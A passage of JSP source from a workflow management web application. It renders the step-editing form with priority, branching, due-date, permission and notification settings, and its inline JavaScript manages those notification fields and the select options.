      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>'><bean:message key='common.priority.label_3'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>'><bean:message key='common.priority.label_2'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>'><bean:message key='common.priority.label_1'/></html:radio>
	  <html:hidden property='allowAssignPriority' value='<%=GlobalConstant.FALSE%>'/>
	  </div>
      <!--
      //@TODO:  Temporary comment the "Allow Assign Priority"
      &nbsp;&nbsp;&nbsp;&nbsp;
      <html:checkbox property='allowAssignPriority' value='<%=GlobalConstant.TRUE%>' ><bean:message key='workflow.label.allow_dynamic_assign'/></html:checkbox>
      -->
      
    
      <span id='setPriorityRule' style="float:left;margin-left:10px">
      	<html:standardButton label="workflow.label.priority_more_setting" onClick="return popupSetPriorityRule('priorityRuleListValue');"/>
      </span>
      <html:hidden property='priorityRuleListValue' />
    </td>
  </tr>
  <!-- Priority:  High Medium Low  End    -->
  <!-- Allow Stop:  True False  -->
  <tr style="<%=showMiscPannelStyle%>">
    <td class="formLabelSmall"><bean:message key='workflow.label.allow_stop'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:radio property='allowStop' value='<%=GlobalConstant.TRUE%>'><bean:message key='common.label.yes'/></html:radio>
      <html:radio property='allowStop' value='<%=GlobalConstant.FALSE%>'><bean:message key='common.label.no'/></html:radio>
    </td>
  </tr>
  <!-- Priority End -->
  <%}else{ %>
   <html:hidden property='workflowRule' value='1' /> 
   <html:hidden property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>'/>
  <%} %>
  
  <!-- flow branch start -->
  <%
   boolean isUpdateShouldShowFollowBranch = (currentStep!=null&&WorkflowStep.ACTION_TYPE_TASK_TO_DO.equals(currentStep.getActionType()));	
   boolean isUpdateShouldShowReserveBranch = (currentStep!=null&&(WorkflowStep.ACTION_TYPE_APPROVAL.equals(currentStep.getActionType())
	||WorkflowStep.ACTION_TYPE_BOOLEAN.equals(currentStep.getActionType())
	||WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(currentStep.getActionType())));
%>

<!--if todo change to approve||boolean||userDefine||-->
  <%if((WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN.equals(operationType)|| isUpdateShouldShowFollowBranch)&&
    (WorkflowStep.ACTION_TYPE_APPROVAL.equals(maintWorkflowStepForm.getActionType())
    || WorkflowStep.ACTION_TYPE_BOOLEAN.equals(maintWorkflowStepForm.getActionType())
    || WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowStepForm.getActionType())) ){
  %>
  <tr style="<%=showMiscPannelStyle%>">
    <td class="formLabelSmallMan"><bean:message key='workflow.label.follow_branch'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property='followBranch' styleClass="form-style-2-pulldown">
        <%if(WorkflowStep.ACTION_TYPE_APPROVAL.equals(maintWorkflowStepForm.getActionType()) ){%>
        <option value="<%=WorkflowStep.PARENT_TYPE_APPROVED%>"><bean:message key='workflow.label.step_status_A'/></option>
        <option value="<%=WorkflowStep.PARENT_TYPE_REJECTED%>"><bean:message key='workflow.label.step_status_R'/></option>
        <%}else if(WorkflowStep.ACTION_TYPE_BOOLEAN.equals(maintWorkflowStepForm.getActionType()) ){%>
        <option value="<%=WorkflowStep.PARENT_TYPE_NO%>"><bean:message key='workflow.label.step_status_F'/></option>
        <option value="<%=WorkflowStep.PARENT_TYPE_YES%>"><bean:message key='workflow.label.step_status_T'/></option>
        <%}else{%>
        <option value="">== Select ==</option>
        <%}%>
      </html:select>
    </td>
  </tr>
  <%}%>
  <%if(isUpdateShouldShowReserveBranch&&WorkflowStep.ACTION_TYPE_TASK_TO_DO.equals(maintWorkflowStepForm.getActionType())){%>
  <tr style="<%=showMiscPannelStyle%>">
    <td class="formLabelSmallMan"><bean:message key='workflow.label.follow_branch'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property='followBranch' styleClass="form-style-2-pulldown">
        <%if(WorkflowStep.ACTION_TYPE_APPROVAL.equals(currentStep.getActionType()) ){%>
        <option value="<%=WorkflowStep.PARENT_TYPE_APPROVED%>"><bean:message key='workflow.label.step_status_A'/></option>
        <option value="<%=WorkflowStep.PARENT_TYPE_REJECTED%>"><bean:message key='workflow.label.step_status_R'/></option>
        <%}else if(WorkflowStep.ACTION_TYPE_BOOLEAN.equals(currentStep.getActionType()) ){%>
        <option value="<%=WorkflowStep.PARENT_TYPE_NO%>"><bean:message key='workflow.label.step_status_F'/></option>
        <option value="<%=WorkflowStep.PARENT_TYPE_YES%>"><bean:message key='workflow.label.step_status_T'/></option>
        <%}else{%>
        <option value="">== Select ==</option>
        <%}%>
      </html:select>
    </td>
  </tr>
  <%}%>
  
  <%
    boolean hasMulitpleParents = false;
    if(!Utility.isEmpty(maintWorkflowStepForm.getParentStepIDs())&&maintWorkflowStepForm.getParentStepIDs().length>1){
    	hasMulitpleParents = true;
    }
 %>
  <tr style="<%=showMiscPannelStyle%>">
    <td class="formLabelSmall"><bean:message key='workflow.label.prerequisite'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <input type="checkbox" <%=hasMulitpleParents? "checked='true'":"" %> onclick="toggleParentStepsPannel(this.form,this);"><bean:message key="workflow.message.need_complate_mulitple_step_before_this_step"/>
    <table id="parnetStepsPannel" style="width:100%;margin-left:25px;border:0px;display:<%=hasMulitpleParents? "block":"none"%>;">
    <tr><td>
      <font color="#CC0000"><bean:message key='workflow.label.after_step'/>:</font>
      <bean:message key='workflow.message.merge_explanation'/><br>
      <html:checkboxOptions stringArray='<%=(String[][])request.getAttribute("workflowStepParentList")%>' name='parentStepIDs' nameValue='<%=maintWorkflowStepForm.getParentStepIDs()%>' hasSelect='false' rawMessage='true' width='500px' height='60px' disabled='<%=wfRecord!=null && GlobalConstant.RECORD_RELEASED.equals(wfRecord.getStatus()) || WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN.equals(operationType) %>' onclick='<%="checkCanSelect("+currentStep.getID()+",this)"%>'/>
    </td></tr>
    
  <%if (!WorkflowStep.ACTION_TYPE_END.equals(request.getParameter("currentStepActionType")) && WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN.equals(operationType)) {%>
  <tr>
    <td>
      <font color="#CC0000"><bean:message key='workflow.label.before_step'/>:</font>
      <html:checkboxOptions stringArray='<%=(String[][])request.getAttribute("workflowStepParentList")%>' name='currentStepIDs' nameValue='<%=new String[]{maintWorkflowStepForm.getCurrentType()+"-"+sCurrentStepID}%>' hasSelect='false' rawMessage='true' disabled='true' width='500px' height='60px'/>
    </td>
  </tr>
  <%}%>
  </table>
    </td>
  </tr>
  <!-- flow branch end -->
  
  <%if (!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType())) {%>
  <!-- Due Date Begins -->
  <% 
    boolean hasSetDueDate = false;
    if(!WorkflowStep.OVER_DUE_TYPE_NA.equals(maintWorkflowStepForm.getOverDueType())&&!Utility.isEmpty(maintWorkflowStepForm.getOverDueType())){
    	hasSetDueDate = true; 
    }
  %>
  <tr style="<%=showMiscPannelStyle%>">
    <td class="formLabelSmall"><bean:message key='workflow.label.due_date'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <input type="checkbox" <%=hasSetDueDate?"checked='true'":"" %> onclick="toggleDueDatePannel(this.form,this)"><bean:message key="workflow.message.set_due_date_for_step"/>
      <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin-left:15px;display:<%=hasSetDueDate?"block":"none"%>;" id="duedatePannel">
        <tr>
          <td class="formFieldSmall" colspan="2">
            <html:radio property='overDueType' value='<%=WorkflowStep.OVER_DUE_TYPE_NA%>' onclick='toggleNoResponseAction(this.form);'>
			<bean:message key='workflow.label.not_applicable'/></html:radio>
          </td>
		  </tr>
          <%if (WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
            <html:hidden property='onNoResponseFor' value=''/>
          <%} else {%>
		  <tr>
          <td class="formFieldSmall" colspan="2">
            <html:radio property='overDueType' value='<%=WorkflowStep.OVER_DUE_TYPE_DAYS%>' onclick='toggleNoResponseAction(this.form);'></html:radio><html:integer property='onNoResponseFor' size='3' styleClass="form-style-2-short-textfield"/>
           
            <bean:message key='workflow.label.days_after_task_arrival'/>
          </td>
		  </tr>
          <%}%>
          <tr>
          <td class="formFieldSmall" colspan="2">
            <html:radio property='overDueType' value='<%=WorkflowStep.OVER_DUE_TYPE_DATE%>' onclick='toggleNoResponseAction(this.form);'></html:radio>
			<html:datepicker property='onNoResponseAfter' time='true'/>
          </td>
		  </tr>
		  <tr>
          <td class="formFieldSmall" colspan="2">
            <html:radio property='overDueType' value='<%=WorkflowStep.OVER_DUE_TYPE_ALLOW_ASSIGN%>' onclick='toggleNoResponseAction(this.form);'><bean:message key='workflow.label.allow_assign_due_date'/></html:radio>
            <html:hidden property='allowAssignDueDate'/>
            <input type="checkbox" value="<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>" name="dynamicAssignDueDateMandtory" onclick="setAllowAssignDueDateValue(this.form);"><bean:message key='common.label.mandatory'/>
          </td>
        </tr>
        
          <!-- Action After Due Date -->
    <tr>
    <td class="formFieldSmall" style="width:150px;"><bean:message key='workflow.label.action_after_due_date'/>:</td>
    <td class="formFieldSmall">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td>
            <%
              // TODO: Make the below code of select box generation better
              List actionList = new ArrayList();
              actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_KEEP );
              if ( WorkflowStep.ACTION_TYPE_TASK_TO_DO.equals(maintWorkflowStepForm.getActionType()) ) {
                actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_COMPLETE );
              } else if ( WorkflowStep.ACTION_TYPE_APPROVAL.equals(maintWorkflowStepForm.getActionType()) ) {
                actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_APPROVE );
                actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_REJECT );
              } else if ( WorkflowStep.ACTION_TYPE_BOOLEAN.equals(maintWorkflowStepForm.getActionType()) ) {
                actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_YES );
                actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_NO );
              } else if ( WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowStepForm.getActionType()) ) {
                // TODO
                if ( maintWorkflowStepForm.getRouteListValue() != null ) {
                  String decisionName[] = maintWorkflowStepForm.getRouteListValue().split("\\|");
                  for(int n=0;n<decisionName.length;n++) {
                    actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_DECISION+n+"_"+decisionName[n] );
                  }
                }
                }
              actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_STOP );
              actionList.add ( WorkflowStep.NO_RESPONSE_ACTION_ROUTE );
              Iterator afterDueItr = actionList.iterator();
            %>
            <select name="onNoResponseAction" onchange="disableNoResponseStep(this.form);" class="form-style-2-pulldown" style="width:180px;">
            <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
            <%
              while(afterDueItr.hasNext()){
                String label = (String)afterDueItr.next();
                String value = label;
                String type = label.substring(0,1);
                String arg0 = null;
                if ( label.startsWith(WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK) ) {
                  value = label.substring(0,label.indexOf("_"));
                  arg0 = label.substring(label.indexOf("_")+1);
                }

                String selected = value.equals(maintWorkflowStepForm.getOnNoResponseAction())?"selected=\"true\"":"";
            %>
            <option value="<%=value%>" <%=selected%>><bean:message key='<%="workflow.label.action_after_due_"+type%>' arg0='<%=arg0%>'/></option>
            <%}%>
            </select>


            <html:select property='onNoResponseNextStepID' styleClass="form-style-2-pulldown" style="width:180px;">
              <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_STEP%>' listArg1='<%=maintWorkflowStepForm.getWorkflowRecordID()%>' listArg2='<%=Utility.isEmpty(currentStep) ? "" : currentStep.getID().toString()%>'/>
            </html:select>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <!-- Action After Due Date End -->
  
      </table>
    </td>
  </tr>
  <!-- Due Date End -->
 <%}else{ %>
   <html:hidden property='overDueType' value='<%=WorkflowStep.OVER_DUE_TYPE_NA%>'/>
   <html:hidden property='onNoResponseAction'/>
   <html:hidden property='onNoResponseNextStepID'/>  
 <%} %>

  <%} else {%>
  <html:hidden property='workflowRule' value='1' />
  <html:hidden property='overDueType' value='<%=WorkflowStep.OVER_DUE_TYPE_NA%>'/>
  <html:hidden property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>'/>
  <html:hidden property='onNoResponseAction'/>
  <html:hidden property='onNoResponseNextStepID'/>  
  <%}%>
  
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
</table>
</div>

<!-- Permission Tab DIV-->
<div id="permissionTab" class="tabContent">
<span class="altBar"><bean:message key="workflow.message.workflow_step_user_involve"/>.</span>
<table width="100%">
  <%if(bStepOwnerRequired){%>
  <tr>
    <td>
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())){ %>
        <tr>
          <td nowrap>
          <bean:message key='workflow.label.dynamic_assign'/>
          <html:checkbox property='assignActorType' onclick="changeassignActorType();"  value='<%=MtmWorkflowStepUserActor.ACTOR_TYPE_RUNTIME_ASSIGN%>'styleClass="form-style-2-checkbox">
		  </html:checkbox>
		  </td>
		</tr>
		<tr>
        <td align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
        </tr>
		<tr>
          <td>
            <bean:message key='workflow.label.filter_by'/>
            <html:select property='filterBy' styleClass="form-style-2-pulldown">
            <html:options stringArray="<%=FILTER_BY_MAP%>" />
            </html:select><bean:message key='workflow.label.of_workflow_submitter'/>
          </td>
        </tr>
        <%}%>
      </table>
      </td>
      </tr>
      <layout:sectionHeader blackLine="false" mandatory='false' legendType='USER_TYPE'/>
      <tr>
      <td class="dataField">
      <!--wfm:permissionSetup permissionType="RIECDMH" labelPrefix="common.permission.label_"/-->
      <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())) {%>
      <wfm:permissionSetup enableOthers="true" permissionType="RW"/>
      <%} else {%>
       <wfm:permissionSetup enableOthers="false" permissionType="RW"/>
      <%}%>
    </td>
  </tr>
  <%}%>
</table>
</div>

<%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
<!-- Notification Tab DIV -->
<div id="notificationTab" class="tabContent">
<span class="altBar"><bean:message key="workflow.message.workflow_step_notification"/>.</span>
<script language="javascript">
<!--
  function popupSetNotificationRule(idField){
    var height;
    var width;
    var windowName;

    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    height = 450;
    width = 700;
    windowName = "DCIVisionPopupSetPriorityRule";
    var frmObj = eval('frm.'+idField);

    OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowStepNotificationRule.do?SHOW_HEADER_FOOTER=N&navMode="+frm.navMode.value+"&notificationRuleListValue="+frm.notificationRuleListValue.value+"&formName="+frm.name+"&idField="+idField+"&parentStepID="+frm.parentStepID.value+"&workflowRecordID="+frm.workflowRecordID.value+"&ID="+frm.ID.value, windowName, width, height, "scrollbars=yes");
    return(false);

  }

  function setNotificationRule(notificationRuleListValue) {
    var frm;
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    frm.notificationRuleListValue.value = unescape(notificationRuleListValue);
    return false;
  }
  
  function getGeneralNotification(){
    //get task arrived
    getBasicNotification("TaskArrival",'<%=WorkflowStep.NOTIFY_OWNER_TASK_ARRIVED_BY_MAIL%>','<%=WorkflowStep.NOTIFY_OWNER_TASK_ARRIVED_BY_SYSTEM%>','','');
    //get task complete
    getBasicNotification("TaskCompleted",'','','<%=WorkflowStep.NOTIFY_ALL_TASK_COMPLETED_BY_MAIL%>','<%=WorkflowStep.NOTIFY_ALL_TASK_COMPLETED_BY_SYSTEM%>');
    //get task overdue
    getBasicNotification("TaskOverdue",'<%=WorkflowStep.NOTIFY_OWNER_TASK_OVERDUE_BY_MAIL%>','<%=WorkflowStep.NOTIFY_OWNER_TASK_OVERDUE_BY_SYSTEM%>','<%=WorkflowStep.NOTIFY_ALL_TASK_OVERDUE_BY_MAIL%>','<%=WorkflowStep.NOTIFY_ALL_TASK_OVERDUE_BY_SYSTEM%>');
    
  }
  function getBasicNotification(notifyType,ownerByMailValue,ownerBySystemValue,allUserByMailValue,allUserBySystemValue){
    var notifyTypeSelect = document.getElementById("notify"+notifyType);
    if(notifyTypeSelect){
        var notifyByMail = document.getElementById("notify"+notifyType+"ByMail");
        if(notifyByMail){ 
         if(notifyByMail.checked){
          if(notifyTypeSelect.options[notifyTypeSelect.selectedIndex].value=="1"){
           document.getElementById("notifyOwner"+notifyType+"ByMail").value=ownerByMailValue;
           }else{
           document.getElementById("notifyAll"+notifyType+"ByMail").value=allUserByMailValue;
           }
         }else {//clear the setting..   
           var notifyOwnerByMail=document.getElementById("notifyOwner"+notifyType+"ByMail");
           var notifyAllByMail=document.getElementById("notifyAll"+notifyType+"ByMail"); 
           if(notifyOwnerByMail){
             notifyOwnerByMail.value='';
           }
           if(notifyAllByMail){
             notifyAllByMail.value='';
           }
         }
        }
        var notifyBySystem = document.getElementById("notify"+notifyType+"BySystem");
        if(notifyBySystem){
         if(notifyBySystem.checked){
           if(notifyTypeSelect.options[notifyTypeSelect.selectedIndex].value=="1"){
            document.getElementById("notifyOwner"+notifyType+"BySystem").value=ownerBySystemValue;
           }else{
            document.getElementById("notifyAll"+notifyType+"BySystem").value=allUserBySystemValue;
           }
         }else{ //clear the setting
          var notifyOwnerBySystem=document.getElementById("notifyOwner"+notifyType+"BySystem");
          var notifyAllBySystem=document.getElementById("notifyAll"+notifyType+"BySystem");  
          if(notifyOwnerBySystem){
            notifyOwnerBySystem.value='';
          }
          if(notifyAllBySystem){
            notifyAllBySystem.value='';
          }
        }
      }
    }
  }
  
  function setGeneralNotification(){
    //set task arrived
    setBasicNotification("TaskArrival");
    //set task completed
    setBasicNotification("TaskCompleted");
    //set task onverdue
    setBasicNotification("TaskOverdue");
  }
  
  function setBasicNotification(notifyType){
    var notifyTypeSelect = document.getElementById("notify"+notifyType);
    if(notifyTypeSelect){
       var notifyOwnerByMail = document.getElementById("notifyOwner"+notifyType+"ByMail");
       var notifyOwnerBySystem = document.getElementById("notifyOwner"+notifyType+"BySystem");
       if((notifyOwnerByMail&&!isEmpty(notifyOwnerByMail.value))||(notifyOwnerBySystem&&!isEmpty(notifyOwnerBySystem.value))){
         notifyTypeSelect.selectedIndex=0;
         if(notifyOwnerByMail&&!isEmpty(notifyOwnerByMail.value)){
           var notifyByMail = document.getElementById("notify"+notifyType+"ByMail");
           if(notifyByMail){
             notifyByMail.checked=true;
           }
         }
         if(notifyOwnerBySystem&&!isEmpty(notifyOwnerBySystem.value)){
           var notifyBySystem = document.getElementById("notify"+notifyType+"BySystem");
           if(notifyBySystem){
             notifyBySystem.checked=true;
           }
         }
       }
       
       var notifyAllByMail = document.getElementById("notifyAll"+notifyType+"ByMail");
       var notifyAllBySystem = document.getElementById("notifyAll"+notifyType+"BySystem");
       
       if((notifyAllByMail&&!isEmpty(notifyAllByMail.value))||(notifyAllBySystem&&!isEmpty(notifyAllBySystem.value))){
         notifyTypeSelect.selectedIndex=notifyTypeSelect.options.length-1;
         if(notifyAllByMail&&!isEmpty(notifyAllByMail.value)){
           var notifyByMail = document.getElementById("notify"+notifyType+"ByMail");
           if(notifyByMail){
             notifyByMail.checked=true;
           }
         }
         if(notifyAllBySystem&&!isEmpty(notifyAllBySystem.value)){
           var notifyBySystem = document.getElementById("notify"+notifyType+"BySystem");
           if(notifyBySystem){
             notifyBySystem.checked=true;
           }
         }
       }
    }
  }
  
  function isEmpty(str){
    if(str==null||str==""||str=="null"||str=="NULL"){
      return true;
    }else{
      return false;
    }
  }
//-->
</script>
<table  style="table-layout:fixed;width:635px;" >
 <!-- Notification -->
  <tr>
    <td class="notifyTitle">&nbsp;</td>
    <td class="notifyUser">&nbsp;</td>
    <td class="notifyType">&nbsp;</td>
     <% if(supportEmail){%>
    <td align="center" class="notifyEmail"><bean:message key='workflow.label.notify_by_mail'/></td>
     <%}%>
    <td align="center" class="notifySystem"><bean:message key='workflow.label.notify_by_system'/></td>
    <td class="notifyLast">&nbsp;</td>
    </tr>
        <!-- when task is arrived -->
        <% if(maintWorkflowStepForm.getStepName()==null||!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType())) {%>
        <tr>
        <td class="notifyTitle"><bean:message key='workflow.label.notify_when_task_is_arrived'/>:</td>
        <td class="notifyUser"><bean:message key='workflow.label.notify_user_involved'/></td>
        <td class="notifyType">
        <select id="notifyTaskArrival" class="form-style-2-short-pulldown">
        <option value="1">step</option>
        </select>
        </td>
        <% if(supportEmail){%>
            <td  class="notifyEmail"><input type="checkbox" id='notifyTaskArrivalByMail'  class="form-style-2-checkbox"/></td>
          <%}%>
          <td class="notifySystem"><input type="checkbox" id='notifyTaskArrivalBySystem'  class="form-style-2-checkbox"/></td>
          <td class="notifyLast">&nbsp;</td>
        </tr>
        <%} %>
        <!-- task is arrived end -->
        
         <!-- when task is completed -->
        <tr>
        <td class="notifyTitle"><bean:message key='workflow.lable.notify_when_task_is_complete'/>:</td>
        <td class="notifyUser"><bean:message key='workflow.label.notify_user_involved'/></td>
        <td class="notifyType">
        <select id="notifyTaskCompleted" class="form-style-2-short-pulldown">
        <option value="2">workflow</option>
        </select>
        </td>
        <% if(supportEmail){%>
            <td class="notifyEmail"><input type="checkbox" id='notifyTaskCompletedByMail'  class="form-style-2-checkbox"/></td>
          <%}%>
          <td class="notifySystem"><input type="checkbox" id='notifyTaskCompletedBySystem'  class="form-style-2-checkbox"/></td>
          <td class="notifyLast">&nbsp;</td>
        </tr>
        <!-- task is completed end -->
        
         <!-- when task is arrived -->
        <tr>
        <td class="notifyTitle"><bean:message key='workflow.label.notify_when_task_is_overdue'/>:</td>
        <td class="notifyUser"><bean:message key='workflow.label.notify_user_involved'/></td>
        <td class="notifyType">
        <select id="notifyTaskOverdue" class="form-style-2-short-pulldown">
        <%if(maintWorkflowStepForm.getStepName() == null||!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType())) {%>
        <option value="1">step</option>
        <%} %>
        <option value="2">workflow</option>
        </select>
        </td>
        <%if(supportEmail){%>
            <td class="notifyEmail"><input type="checkbox" id='notifyTaskOverdueByMail'  class="form-style-2-checkbox"/></td>
          <%}%>
          <td class="notifySystem"><input type="checkbox" id='notifyTaskOverdueBySystem'  class="form-style-2-checkbox"/></td>
          <td class="notifyLast">&nbsp;</td>
        </tr>
        <!-- task is arrived end -->
        
<%
  String sID=maintWorkflowStepForm.getID();
  if(sID==null){
    maintWorkflowStepForm.setID("");
  }
  String sNotifyListSize=maintWorkflowStepForm.getRouteListValue();
  if(sNotifyListSize==null){
    maintWorkflowStepForm.setNotificationRuleListValue("");
  }
  String notifyFlag="";
  
  
  if (WorkflowStep.ACTION_TYPE_APPROVAL.equals(maintWorkflowStepForm.getActionType())) {
	  notifyFlag=WorkflowStep.ACTION_TYPE_APPROVAL;
	}
	
	if (WorkflowStep.ACTION_TYPE_BOOLEAN.equals(maintWorkflowStepForm.getActionType())) {
	  notifyFlag=WorkflowStep.ACTION_TYPE_BOOLEAN;
	}
	
	if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowStepForm.getActionType())) {
	  notifyFlag=maintWorkflowStepForm.getRouteListValue();
	}
  
  
%>  <tr>
    <td colspan="<%=supportEmail?6:5%>">
      <div id="formSubmission">
        <jsp:include page="EditMtmWfStepNotificationRule.jsp" flush="true">
          <jsp:param name="SHOW_HEADER_FOOTER" value="N"/>
          <jsp:param name="navMode" value="<%=maintWorkflowStepForm.getNavMode()%>"/>
          <jsp:param name="notificationRuleListValue" value="<%=maintWorkflowStepForm.getNotificationRuleListValue()%>"/>
          <jsp:param name="formName" value="frm.name"/>
          <jsp:param name="idField" value="<%=maintWorkflowStepForm.getNotificationRuleListValue()%>"/>
          <jsp:param name="parentStepID" value="<%=maintWorkflowStepForm.getParentStepID().toString()%>"/>
          <jsp:param name="workflowRecordID" value="<%=maintWorkflowStepForm.getWorkflowRecordID().toString()%>"/>
          <jsp:param name="ID" value="<%=maintWorkflowStepForm.getID().toString()%>"/>
          <jsp:param name="notifyFlag" value="<%=notifyFlag%>"/>
          	
        </jsp:include>

      </div>
    </td>
  </tr>
</table>
</div>
<%}%>
  <script language="javascript">
<!--
initPage();
function initPage() {
	
	// for workflow Setup permission  Default Value (Read/Write) Flag
	workFlowflag="Y";

    var frm = document.maintWorkflowStepForm;
    <% if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE) ) { %>
    toggleNoResponseAction(frm);
    <% } %>
    if (frm.actionType && (frm.actionType.type!="hidden" && frm.actionType.selectedIndex>4 ||
         "<%=WorkflowStep.ACTION_TYPE_FORM_DRIVEN%>" == frm.actionType.value ) ) {
      toggleAutomaticTaskFields(frm, true);
    }

    // hide the setPriorityRule span.
    //hideMagnifierIcon();


    // init Special actor types
    initSpecialActor(window.document.maintWorkflowStepForm);
    <%
    if (!WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType())  ) {
    if(!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType())&& (!SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(maintWorkflowStepForm.getCategoryID()) || !WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()))){
  %>
    initVariable(window.document.maintWorkflowStepForm);

    <%}}%>

    //added by nancy
     //update by dick

     <%if (!WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN.equals(operationType) && GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) {%>
     enablePageOr();
    <%}%>
    <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())){%>
        initStep();
    <%}%>
    //end
    
    // if current step is AutoTask  some users will be  Filter 
   if (frm.actionType && (frm.actionType.value.indexOf("<%=WorkflowStep.ACTION_TYPE_SYSTEM_AUTO%>") == 0  )) {
		initAutoTaskSetOwner(frm);
   }

initDecisionNotifyBranch(frm);
 }


<%
  String notifyFlag="";
  
  
  if (WorkflowStep.ACTION_TYPE_APPROVAL.equals(maintWorkflowStepForm.getActionType())) {
	  notifyFlag=WorkflowStep.ACTION_TYPE_APPROVAL;
	}
	
	if (WorkflowStep.ACTION_TYPE_BOOLEAN.equals(maintWorkflowStepForm.getActionType())) {
	  notifyFlag=WorkflowStep.ACTION_TYPE_BOOLEAN;
	}
	
	if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowStepForm.getActionType())) {
	  notifyFlag=maintWorkflowStepForm.getRouteListValue();
	}
%>
function initDecisionNotifyBranch(frm){
  var notifyFlag='<%=notifyFlag%>';
  var arrflag;
  if (notifyFlag) {
  	 arrflag=notifyFlag.split("|");
  	if (arrflag.length>1){
  		
  		with (frm){
  		  var routeCount= notifyTrigger.options.length-arrflag.length;
  		 
  		  	for (i = 0; i < arrflag.length; i++) {
  		  	if (notifyTrigger.options[routeCount+i+1]){
   				notifyTrigger.options[routeCount+i+1].text=notifyTrigger.options[routeCount+i+1].text+' '+arrflag[i];
   				}
			}
  		}
  	}
  }
}
function filterOtherPermissionForAutoTask(frm) {
		var indexCount;
	var otherPermission=frm.otherNoPermissionData.value;
	
	if (!otherPermission){
	 return ;
	 }
	if (otherPermission.indexOf('Z')==0){
	
		indexCount=otherPermission.indexOf('-1');
	  var subOther=otherPermission.substring(indexCount+3,otherPermission.length);
	  frm.otherNoPermissionData.value=subOther;
	
	  var arrayOfStr = subOther.split("\n");
	  otherHasNoPerm=new Array();
    for (var i = 0; i < arrayOfStr.length; i++) {
      if (arrayOfStr[i].length > 0) {
        if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
          arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
        }
        var tmpAry = arrayOfStr[i].split("\t");
        tmpAry[3] = defaultValue;
        otherHasNoPerm[otherHasNoPerm.length] = tmpAry;
      }
    }
  
	}
}
//king---add---start
function changeassignActorType(){	
	var frm	;
	for(var i=0;i<document.forms.length;i++){
		frm=document.forms[0];
	}		
	var textStr=frm.typetext.value;
	var valueStr=frm.typevalue.value;
	var select =frm.subjectType;
	options=select.options;
	var optionStr="<bean:message key="setup.label.special_actor"/>";
	var length=options.length;
	if(frm.assignActorType.checked){
		for(var j=0;j<length;j++){
			if(options(j).text==optionStr){
				options.remove(j);
				select.selectIndex=0;
				changeSubjectMenu(frm);
			}
		}
	}
	else{
		var flag=true;
		for(var i=0;i<length;i++){
			if(textStr==options(i).text){
				flag=false;
			}
		}
		if(flag){
			var oOption   =   document.createElement("OPTION");   		
			options.add(oOption);
			oOption.innerText= textStr;
	  		oOption.value=valueStr;
		}
		
  	}
}
//king----add--end


function initAutoTaskSetOwner(frm){
if(frm.subjectType&&frm.subjectType!='undefined'){
   var subject=frm.subjectType;
		subject.selectIndex=-1;	
    for (var i = 0; i < subject.options.length; i++) {
     if (subject.options[i].value == "G" ) {
       subject.options[i]=null;
